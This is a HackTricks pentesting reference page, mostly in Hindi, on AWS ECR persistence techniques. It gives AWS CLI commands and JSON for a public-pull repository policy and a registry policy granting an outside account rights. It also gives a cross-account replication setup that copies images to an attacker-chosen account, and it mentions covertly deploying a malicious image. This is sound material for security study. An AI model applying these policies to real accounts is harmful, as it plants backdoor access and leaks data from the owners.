AWS - ECR Persistence

HackTricks को समर्थन दें

ECR

अधिक जानकारी के लिए देखें:

AWS - ECR Enum

दुर्भावनापूर्ण कोड के साथ छिपी हुई Docker छवि

एक हमलावर दुर्भावनापूर्ण कोड वाली Docker छवि को ECR रिपॉजिटरी में अपलोड कर सकता है और इसे लक्षित AWS खाते में स्थायित्व बनाए रखने के लिए उपयोग कर सकता है। हमलावर तब इस दुर्भावनापूर्ण छवि को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में गुप्त रूप से तैनात कर सकता है।

रिपॉजिटरी नीति

एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) रिपॉजिटरी तक पहुंच प्रदान करती है:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ध्यान दें कि ECR के लिए उपयोगकर्ताओं को प्रमाणित करने से पहले IAM नीति के माध्यम से ecr:GetAuthorizationToken API को कॉल करने की अनुमति होनी चाहिए ताकि वे किसी भी Amazon ECR रिपॉजिटरी से कोई भी इमेज पुश या पुल कर सकें।

Registry Policy & Cross-account Replication

यह संभव है कि बाहरी खाते में क्रॉस-अकाउंट प्रतिकृति को कॉन्फ़िगर करके स्वचालित रूप से एक रजिस्ट्री को दोहराया जाए, जहां आपको बाहरी खाते को इंगित करना होगा जहां आप रजिस्ट्री को दोहराना चाहते हैं।

सबसे पहले, आपको एक रजिस्ट्री नीति के साथ बाहरी खाते को रजिस्ट्री पर एक्सेस देना होगा जैसे:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

फिर प्रतिकृति कॉन्फ़िगरेशन लागू करें:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
HackTricks को समर्थन दें

Last updated